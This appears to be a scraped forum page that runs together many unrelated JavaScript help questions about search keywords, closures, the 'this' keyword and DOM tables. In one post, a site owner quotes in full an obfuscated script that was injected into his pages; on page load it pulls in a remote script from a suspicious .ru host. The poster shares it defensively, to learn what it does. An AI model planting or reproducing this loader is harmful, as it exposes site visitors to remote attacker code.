JavaScript - Need Use Inserted Keyword In The Same Page
Hi everybody,
I have an search form and I'm handling it with .htaccess like this: RewriteRule ^(.*)/search/(.*) /search.php?lang=$1&keyword=$2 The problem, i can't call the right URL from front-end. I have an search form with get and if i search something the url going to like this: domain.com/en/search/?keyword=test 404.. But if i type the URL manually like this: domain.com/en/search/test Than it's working well. So, I need some js code to put search keyword in the right form so i can cancel the <form>. Can somebody help me to write this code? Or any other ideas are welcome. Similar TutorialsI am trying to write a little Greasemonkey script to insert links to open mp3s in the Google Player. It is supposed to insert "(play)" next to these links. (play) is a span element consisting of a text node "(", a link/"a" element, and another text node ")". However, instead of inserting these new links next to each old link, it is putting them all in a row next to the very first mp3 link! For example, if there are 3 mp3 links found on the page, the following is inserted next to the first links: (play(play(play))) When the loop iterates over the whole array (i < links.length), the browser hangs until Firefox's slow script notification pops up and I click "Stop script"; then I see the nested links all next to the first mp3 link. Additionally, the url itself is strange. Just looking at it, you'd think I was running a recursive function, but I'm not! The URL with a limited for loop (x < 21): http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.hackerpublicradio.org/eps/hpr0924.mp3&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=tru e. Here is the script. I have been using the site http://www.hackerpublicradio.org for my testing. Code: var links = document.getElementsByTagName('a'); for (var i=0; i < links.length; i++) { var x = links[i]; var url=x.href; if (url.search(/.*\.mp3/i) != -1) { var plink = document.createElement("a"); plink.href = "http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=" + url + "&autoPlay=true"; plink.target = "_blank"; //open in new tab plink.appendChild(document.createTextNode("play")); var pspan = document.createElement("span"); pspan.style.fontSize = "90%"; var openb = document.createTextNode("("); var closeb = document.createTextNode(")"); pspan.appendChild(openb); pspan.appendChild(plink); pspan.appendChild(closeb); x.parentNode.insertBefore(pspan, x.nextSibling); } } No errors are showing up in the console. I've only tested it in Firefox 10. Please help me figure out where I'm going wrong! Code: function Hero() { this.occupation = 'Ninja'; } don't understand the meaning of this line ,this.occupation = 'Ninja'; why it use this keyword. thank you. So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> I'm not sure if this is the right forum, but I'm looking for help with adding a search box to my website. I want to create a keyword search box - one where entering the right keyword(s) will take the visitor DIRECTLY to the page they're looking for, without a results page. And if they don't enter a keyword (in a keyword database?) they're taken to an error page. So, in essence, it's not really a search engine, it's more of a keywords box. Oh, also, some of the keywords will have non alphabetical or numerical characters (like dashes and periods) if that's a concern. Can someone help me with this or point me in the right direction to someone/someplace that can? Thanks.
Hi, I've been searching google endlessly and I've come to the conclusion I'm not using the proper search keywords. I'm trying to create something similar to the banner/button combo you can find he http://www.nba.com and also here, http://home.worldvision.org/?page=nonflash I assume these type of slide show buttons combos use java script and possibly php. If anyone knows the proper name for this type of slide show or can point me to some scripting I would appreciate it. Thanks Here is the thing. I need to find the height of the layer but, it's not that simple.... I have a page with div layer where i insert text with innerHTML attribute into it. Depending on the ammount of text i have the HEIGHT of the layer is changing. if i leave the css part of it with no HEIGHT atribute at all, browser will not automaticaly calculate it and returns empty string on request layerName.style.height if i assign some value to it("..height: 200px;..") it will not change it after uploading the text. It will change the size but on request layerName.style.height i'll get same 200px. Please advise... Hi, I'm Jon. First of all excuse me if I posted this thread in the wrong forum, I really have no clue where to put this but I've had some minor experience with js so I hope it can be solved this way. I check websites and/or keywords in googles Keyword Tool External as a free service for some of my clients. The thing is that more and more clients like this service and it's becoming very time-consuming for me to do this for all of them. Is there a way to let my clients fill in the keywords or url they like researched in a form on my website, then let those words be researched and return a specified number of results in a pdf or something? My biggest concern is the captcha code. If I can't find a way to partially or fully automate this process, I'll be forced to either charge for or completely give up this service. Can anyone help me with some kind of solution? Thanks in advance. Jon tested this only on FF. Code: target = this.parentNode.parentNode.getElementsByClassName('help')[0]; target.style.display = (target.style.display=='none')?'inline':'none'; -->Error: target.style is undefined In next two codes what is red is different, all the rest as above. Code: var target = this.parentNode.parentNode.getElementsByClassName('help')[0]; target.style.display = (target.style.display=='none')?'inline':'none'; --> works. Code: xxx = this.parentNode.parentNode.getElementsByClassName('help')[0]; xxx .style.display = ( xxx .style.display=='none')?'inline':'none'; --> works. Why is that ? I'm looking at building an interactive desktop gadget for our company computers that functions similar to Clippy (less annoying though). The idea is for users to be able to type in keywords or questions and have the gadget present links to pages on our intranet. So similar to a search engine but more focused on answering questions as opposed to just returning a hundred results. I've got a moderate understanding of java so I know I could do something like IF "Textbox" EQUALS "Keyword" THEN DO "THAT". Need a little more sophistication though, it should be able to accept multiple keywords and weigh the search results accordingly. I'm sort of picturing an updatable XML table like this: KEYWORD This is the result KEYWORD This is the result Or an array in a separate .js file. Maybe there's a better way than that actually but it's what I know. Has anyone got some advice on this? Thanks. Code: this.delete = function(obj) { .. Is that it ? I can't have delete ? Or can this be written in some other way, including delete ? Hello all, Sorry if this may seem like a silly question, I have searched but not really to sure how to word what I am searching for as I don't know if I am going the right way around it! Basically, I am looking to insert a keyword in to a javascript alert box when someone visits my website, so say they came from codingforums.com, it would say "Welcome, CodingForums.com Visitor". My keyword will be passed from the ad platform I am working with and shows up correctly in the tracking, so I'd imagine it's just a case of having the snippet of code for it to show in the alert, correct? If there is no keyword, I would just like it to say "Welcome Visitor" or something. How do I go about this? Thank you in advance for any help. I am confused about what the return keyword is actually returning when returning an object, a primitive, or a function. My confusion is compounded by the fact that I'm not sure if a function is an object or not. According to the book JavaScript Programmer Reference it is: "All functions in JavaScript are first class objects , meaning they can be passed around like any other object reference. In fact, regardless of how they are created, functions are instances of a global object named (aptly) Function." However, someone else states that a function is not an object. An object is a set of primitives and references. A function is executable code. Functions become objects through the use of the new operator. Yet, in the book I mentioned, it says you don't need the new keyword to execute the function as an object, as it already inherits from the object Function when the function keyword is used: Code: function functionName([argname1 [, ...[, argnameN]]]) { statements; } So there's one source of contradiction. Now the bigger issue is what is going on when the return keyword is used. Notice the Validation() function returns an object as its last expression. This technique is common, where you return an object which contains functions in form of object notation. I believe this is done so that we create a closure so that when the intepreter exits the Validation() method, since we created a closure by returning an object, which contains the inner functions addRule and getRule, the local variables of Validation() are not destroyed, given that we can reference them through the two inner functions that make use of the local variables of the outer function. So when we use the return keyword on an object literal, and then exit the function, when we call one of the inner functions as we do later: Code: var rule = $.Validation.getRule(types[type]); essentially getRule() is called, passes an argument, which is received by the inner function as parameter we call name: Code: getRule : function(name) { return rules[name]; } First, note that the return {} is written in object notation, therefore making getRule a local variable and, thus, private function only accessible through the namespace of Validation(). Validation() declares the rules local variable and because of the closure, we can access the rules local variable through the getRule() inner function. *****Here's the part that really thows me off. We return rules[name]. So let's say name is equal to email. This is an associative array so email (held in name) is a property of rules. So here we return the object's property: Code: return rules[name]; And then assign it to a local variable called rule: Code: var rule = $.Validation.getRule(types[type]); So when we return an object rules[name], do we return a reference to an object or a value? In other words, by returning rules[name], where name is equal to email, are we then returning a reference to the following object literal: Code: email : { check: function(value) { if(value) return testPattern(value,".+@.+\..+"); return true; }, msg : "Enter a valid e-mail address." } And if we are returning a reference, by returning a reference, are we essentially pointing to this object when we assign it to rule? In other words, the variable rule is just pointing to the object literal? And is that the reason we can then access the check function or msg local variable through rule using dot notation, because rule points to the email object literal? Now the ultimate brain twist for me is that if a function is an object, then why when return a function, it returns a value, such as a boolean, if an object only returns a reference and not the value? Code: //Validation is a local variable as it is in a self-executing anonymous function. The purpose of the said anonymous function is to pass the jQuery object as a parameter $ so the $() function will be in scope of the anonymous function and not interfere with other libraries that make use of the same function technique - in the global scope. (function($) { var rules = { email : { check: function(value) { if(value) return testPattern(value,".+@.+\..+"); return true; }, msg : "Enter a valid e-mail address." }, url : { check : function(value) { if(value) return testPattern(value,"https?://(.+\.)+.{2,4}(/.*)?"); return true; }, msg : "Enter a valid URL." }, required : { check: function(value) { if(value) return true; else return false; }, msg : "This field is required." } } var testPattern = function(value, pattern) { var regExp = new RegExp("^"+pattern+"$",""); return regExp.test(value); //The test() method is built into javascript } return { addRule : function(name, rule) { rules[name] = rule; }, getRule : function(name) { return rules[name]; } } } /* Form factory */ var Form = function(form) { var fields = []; $(form[0].elements).each(function() { var field = $(this); if(field.attr('validation') !== undefined) { fields.push(new Field(field)); } }); this.fields = fields; } Form.prototype = { validate : function() { for(field in this.fields) { this.fields[field].validate(); } }, isValid : function() { for(field in this.fields) { if(!this.fields[field].valid) { this.fields[field].field.focus(); return false; } } return true; } } /* Field factory */ var Field = function(field) { this.field = field; this.valid = false; this.attach("change"); } Field.prototype = { attach : function(event) { var obj = this; if(event == "change") { obj.field.bind("change",function() { return obj.validate(); }); } if(event == "keyup") { obj.field.bind("keyup",function(e) { return obj.validate(); }); } }, validate : function() { var obj = this, field = obj.field, errorClass = "errorlist", errorlist = $(document.createElement("ul")).addClass(errorClass), types = field.attr("validation").split(" "), container = field.parent(), errors = []; field.next(".errorlist").remove(); for (var type in types) { var rule = $.Validation.getRule(types[type]); if(!rule.check(field.val())) { container.addClass("error"); errors.push(rule.msg); } } if(errors.length) { obj.field.unbind("keyup") obj.attach("keyup"); field.after(errorlist.empty()); for(error in errors) { errorlist.append("<li>"+ errors[error] +"</li>"); } obj.valid = false; } else { errorlist.remove(); container.removeClass("error"); obj.valid = true; } } } /* Validation extends jQuery prototype */ $.extend($.fn, { validation : function() { var validator = new Form($(this)); $.data($(this)[0], 'validator', validator); $(this).bind("submit", function(e) { validator.validate(); if(!validator.isValid()) { e.preventDefault(); } }); }, validate : function() { var validator = $.data($(this)[0], 'validator'); validator.validate(); return validator.isValid(); } }); $.Validation = new Validation(); })(jQuery); Thanks for any response. Hi I need to develop a simple keyword search in external html files(having traversing in directories ability). Is this possible? (in this case php can be used) Please guide me Thanks Here's some code copied directly from Mozilla: Code: var x = 5; var y = 0; let (x = x+10, y = 12) { alert(x+y + "\n"); } alert((x + y) + "\n"); Both Chrome and Firefox display an error regarding the bolded line. Chrome says "unexpected token '{' " on that line and Firefox says "Missing ';' before statement" on that line. At any rate, it doesn't work. Is this not the correct syntax for let blocks? Has something changed since Mozilla wrote that example? When this page loads the table should fill using onload="fillTable()" with 4 rows from an array called foodArray. Each row gets a grab button assigned with a unique id. Then when you click on one of the buttons, it should call function addRow. In addRow, i'm trying to use the this keyword to refer to the button that called it, then use an alert window to show the button id. but when the script runs, alert is not giving the id its just a blank alert window. whats wrong with it? Thanks, Geoff Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <style type="text/css"> </style> <link href="basicstyle.css" rel="stylesheet" type="text/css" /> <link href="tablestyle.css" rel="stylesheet" type="text/css" /> <link href="advancestyle.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> var food1 = new Array("-", "Boneless Chicken Breast", "M&M", "Meat & Alternatives", "1 breast", "125g", 110, 2, 0.5, 0, 65, 650, 0, 0, 0, 22); var food2 = new Array("-", "Teriyaki Style Rice", "Uncle Ben's Fast & Fancy", "Grain Products", "1/4 package", "44g", 160, 0.5, 0.2, 0.1, 0, 520, 34, 0, 4, 3); var food3 = new Array("-", "Whole Kernel Corn", "Irrestibles", "Fruit & Vegetables", "1/2 cup", "125mL", 80, 0.5, 0, 0, 0, 10, 15, 2, 1, 2); var food4 = new Array("-", "Ketchup", "Heinz", "Condiments", "1 tbsp", "15mL", 20, 0, 0, 0, 0, 140, 5, 0, 4, 0.3); var foodArray = [food1, food2, food3, food4]; var buttonValue = "Grab"; var onclickString = "addRow()"; //**************************************same fillTable as in aisle1************************************ function fillTable( arr, p ) { //fill the output table with whatever array is passed to it in form of arr parameter. outputTableRows = 5; outputTableColumns = 16; for (var x = 0; x < outputTableRows; x++) { var xPage = (x + 5 * (p - 1)); for (var y = 0; y < outputTableColumns; y++) { //set id variable in order to refer to each cell in the output table by this id. var id = x + "_" + y; if ( (arr.length > xPage) && (arr[xPage][y] != undefined) ) { //if its the first column, put in a button, or else put in the resultArray[x][y] value in the output table cell. if (y == 0) document.getElementById(id).innerHTML = "<input id=\"b" + id + "\" type=\"button\" value=\"" + buttonValue + "\" onclick=\"" + onclickString + "\">"; else document.getElementById(id).innerHTML = arr[xPage][y]; //else if the resultArray entry is undedefined, just put in a dash in the output table cell. } else { document.getElementById(id).innerHTML = "-"; } } } } function addRow ( e ) { if (!e) var e = window.event; alert ("Add row"); alert (this.id); var insertFoodRow = ""; var t2body = document.getElementById("t2body"); var row = document.createElement("tr"); } </script> </head> <body onload="fillTable( foodArray, 1 )"> <div id="dcontainer" class="type3div"> <div id="dheader" class="type2div"> <div id="dlogo" class="type1div"></div> <div id="dlogin" class="type1div"></div> </div> <div id="dmenubar" class="type2div"> <a href=""><div id="dmenu1" class="navigation">Page 1</div></a> <a href=""><div id="dmenu2" class="navigation">Page 2</div></a> <a href=""><div id="dmenu3" class="navigation">Page 3</div></a> <a href=""><div id="dmenu4" class="navigation">Page 4</div></a> <a href=""><div id="dmenu5" class="navigation">Page 5</div></a> </div> <div id="dcontent" class="type2div"> <h1>Grocery Store - Aisle 3:</h1> <h2>Make a combo or recipe</h2> <div id="content1" class="type1div"> <div id="table2" class="outputTable"> <table border="1"> <thead> <tr> <th class="tableHeadMediumCenter">Edit</th> <th class="tableHeadLargeLeft">Food</th> <th class="tableHeadLargeLeft">Brand</th> <th class="tableHeadLargeLeft">Food Type</th> <th class="tableHeadLargeLeft">Serving Amount</th> <th class="tableHeadSmallCenter">SS</th> <th class="tableHeadSmallCenter">Cal</th> <th class="tableHeadSmallCenter">Fat</th> <th class="tableHeadSmallCenter">Sat</th> <th class="tableHeadSmallCenter">Trans</th> <th class="tableHeadSmallCenter">Chol</th> <th class="tableHeadSmallCenter">Sod</th> <th class="tableHeadSmallCenter">Carb</th> <th class="tableHeadSmallCenter">Fib</th> <th class="tableHeadSmallCenter">Sug</th> <th class="tableHeadSmallCenter">Pro</th> </tr> </thead> <tbody id="t2body"> </tbody> </table> </div> </div> <br /> <div id="content2" class="type1div"> <div id="table1" class="outputTable"> <table border="1"> <thead> <tr> <th class="tableHeadMediumCenter">Edit</th> <th class="tableHeadLargeLeft">Food</th> <th class="tableHeadLargeLeft">Brand</th> <th class="tableHeadLargeLeft">Food Type</th> <th class="tableHeadLargeLeft">Serving Amount</th> <th class="tableHeadSmallCenter">SS</th> <th class="tableHeadSmallCenter">Cal</th> <th class="tableHeadSmallCenter">Fat</th> <th class="tableHeadSmallCenter">Sat</th> <th class="tableHeadSmallCenter">Trans</th> <th class="tableHeadSmallCenter">Chol</th> <th class="tableHeadSmallCenter">Sod</th> <th class="tableHeadSmallCenter">Carb</th> <th class="tableHeadSmallCenter">Fib</th> <th class="tableHeadSmallCenter">Sug</th> <th class="tableHeadSmallCenter">Pro</th> </tr> </thead> <tbody> <tr> <td id="0_0" class="tableCellCenterTop">-</td> <td id="0_1" class="tableCellLeftTop">-</td> <td id="0_2" class="tableCellLeftTop">-</td> <td id="0_3" class="tableCellLeftTop">-</td> <td id="0_4" class="tableCellLeftTop">-</td> <td id="0_5" class="tableCellCenterTop">-</td> <td id="0_6" class="tableCellCenterTop">-</td> <td id="0_7" class="tableCellCenterTop">-</td> <td id="0_8" class="tableCellCenterTop">-</td> <td id="0_9" class="tableCellCenterTop">-</td> <td id="0_10" class="tableCellCenterTop">-</td> <td id="0_11" class="tableCellCenterTop">-</td> <td id="0_12" class="tableCellCenterTop">-</td> <td id="0_13" class="tableCellCenterTop">-</td> <td id="0_14" class="tableCellCenterTop">-</td> <td id="0_15" class="tableCellCenterTop">-</td> </tr> <tr> <td id="1_0" class="tableCellCenterTop">-</td> <td id="1_1" class="tableCellLeftTop">-</td> <td id="1_2" class="tableCellLeftTop">-</td> <td id="1_3" class="tableCellLeftTop">-</td> <td id="1_4" class="tableCellLeftTop">-</td> <td id="1_5" class="tableCellCenterTop">-</td> <td id="1_6" class="tableCellCenterTop">-</td> <td id="1_7" class="tableCellCenterTop">-</td> <td id="1_8" class="tableCellCenterTop">-</td> <td id="1_9" class="tableCellCenterTop">-</td> <td id="1_10" class="tableCellCenterTop">-</td> <td id="1_11" class="tableCellCenterTop">-</td> <td id="1_12" class="tableCellCenterTop">-</td> <td id="1_13" class="tableCellCenterTop">-</td> <td id="1_14" class="tableCellCenterTop">-</td> <td id="1_15" class="tableCellCenterTop">-</td> </tr> <tr> <td id="2_0" class="tableCellCenterTop">-</td> <td id="2_1" class="tableCellLeftTop">-</td> <td id="2_2" class="tableCellLeftTop">-</td> <td id="2_3" class="tableCellLeftTop">-</td> <td id="2_4" class="tableCellLeftTop">-</td> <td id="2_5" class="tableCellCenterTop">-</td> <td id="2_6" class="tableCellCenterTop">-</td> <td id="2_7" class="tableCellCenterTop">-</td> <td id="2_8" class="tableCellCenterTop">-</td> <td id="2_9" class="tableCellCenterTop">-</td> <td id="2_10" class="tableCellCenterTop">-</td> <td id="2_11" class="tableCellCenterTop">-</td> <td id="2_12" class="tableCellCenterTop">-</td> <td id="2_13" class="tableCellCenterTop">-</td> <td id="2_14" class="tableCellCenterTop">-</td> <td id="2_15" class="tableCellCenterTop">-</td> </tr> <tr> <td id="3_0" class="tableCellCenterTop">-</td> <td id="3_1" class="tableCellLeftTop">-</td> <td id="3_2" class="tableCellLeftTop">-</td> <td id="3_3" class="tableCellLeftTop">-</td> <td id="3_4" class="tableCellLeftTop">-</td> <td id="3_5" class="tableCellCenterTop">-</td> <td id="3_6" class="tableCellCenterTop">-</td> <td id="3_7" class="tableCellCenterTop">-</td> <td id="3_8" class="tableCellCenterTop">-</td> <td id="3_9" class="tableCellCenterTop">-</td> <td id="3_10" class="tableCellCenterTop">-</td> <td id="3_11" class="tableCellCenterTop">-</td> <td id="3_12" class="tableCellCenterTop">-</td> <td id="3_13" class="tableCellCenterTop">-</td> <td id="3_14" class="tableCellCenterTop">-</td> <td id="3_15" class="tableCellCenterTop">-</td> </tr> <tr> <td id="4_0" class="tableCellCenterTop">-</td> <td id="4_1" class="tableCellLeftTop">-</td> <td id="4_2" class="tableCellLeftTop">-</td> <td id="4_3" class="tableCellLeftTop">-</td> <td id="4_4" class="tableCellLeftTop">-</td> <td id="4_5" class="tableCellCenterTop">-</td> <td id="4_6" class="tableCellCenterTop">-</td> <td id="4_7" class="tableCellCenterTop">-</td> <td id="4_8" class="tableCellCenterTop">-</td> <td id="4_9" class="tableCellCenterTop">-</td> <td id="4_10" class="tableCellCenterTop">-</td> <td id="4_11" class="tableCellCenterTop">-</td> <td id="4_12" class="tableCellCenterTop">-</td> <td id="4_13" class="tableCellCenterTop">-</td> <td id="4_14" class="tableCellCenterTop">-</td> <td id="4_15" class="tableCellCenterTop">-</td> </tr> </tbody> </table> </div> </div> </div> </div> </body> </html> I've seen it in quite a few websites and I'd like to know how it works and what it's used for. An example I've seen it in is: <td onmouseover="this.bgcolor='#aaaaaa';" onmouseout="this.bgcolor='#ffffff';"> Any help would be appreciated. Thanks I just wrote an essay to discover it had logged me out and I lost everything. Grrrrrrr. Here goes again, simplified this time. I've got a sticky footer at the bottom of the page and a spry collapsible panel which expands to reveal content on mouse over. The problem I'm facing is that the page doesn't scroll down with it, only the scroll bar gets larger to accommodate for a manual scroll down. This is kind of useless because the user might not even realise that there's extra content there in the first place if it's not automatic. My question is, what's the best javascript code to use to automatically scroll the page down when the spry tab is opened and where would I insert it? I've tried all morning with no success so far! Thanks, Nick, I'm copy pasting this post this time round, I don't trust this website now Hello. My goal is to load the JS for a specific element before displaying that element. I integrated a third part script, and it works well. I set the timer he The JS is in my heading as <script type="text/javascript" src="countdownpro.js"></script> About mid-body I have: <span id="countdown1">2010-07-20 00:00:00 GMT+00:00</span> which allows for the setting of a target date to countdown to. When the page first loads it shows the above long format target time, until the js/meta tags kick in to modify it to just show the actual countdown as 00:00:00. I have attached countdownpro.js to this post. I tried shifting the function CD_Init() to the top of the script, and also appended it inline with the .html. I tried setting the big external script to "defer", but neither arrangement worked. I also tried placing the src file right at the top. I appreciate your help. I want to implement a javascript function where a submit button will be submitted from the parent page each time I close a child page. Please let me know what I did wrong in my code and please elaborate your answer so that I could understand it better. Thank you so much for your help. I have the following jscript code but it is now working. Code: window.onunload = submitParent; function submitParent() { var doc = window.opener.document, theForm = doc.getElementById("finalForm"); theField = doc.getElementById("finalSelected"); theForm.submit(); theField.trigger('click'); } My form from the parent page is as follow. I want my jscript to just click on the submit button once. Code: <form id = "finalForm "name= "finalForm" method="POST" action=""> <input type="Submit" id = "finalSelected" name="finalSelected"/> Hi, I am Aditya. I am explaining below the exact scenario where I need the help: I am developing a web application in which I need to integrate a javascript/html editor on some of the web pages and then provide 'Edit' buttons on those web pages so that users can edit the content on that partciular html/jsp page (like editing in wiki pages) and then, when they add some content and click on submit button, the new content should appear on the web page with all the formatting (i.e. bold, italics, color and so on) which was applied by user when he was entering the text. Now, I need help for the below issues: 1. Please suggest me a good javascript/html editor (freely downloadable) which I can use to integrate with my web pages. 2. Once the user has entered some content using the above javascript editor, how to make that content reach the server and update the corresponding web page. I am new to web development, so may be that these questions are too simple. But, I need some help from you. Waiting for your reply, Thanks, Aditya |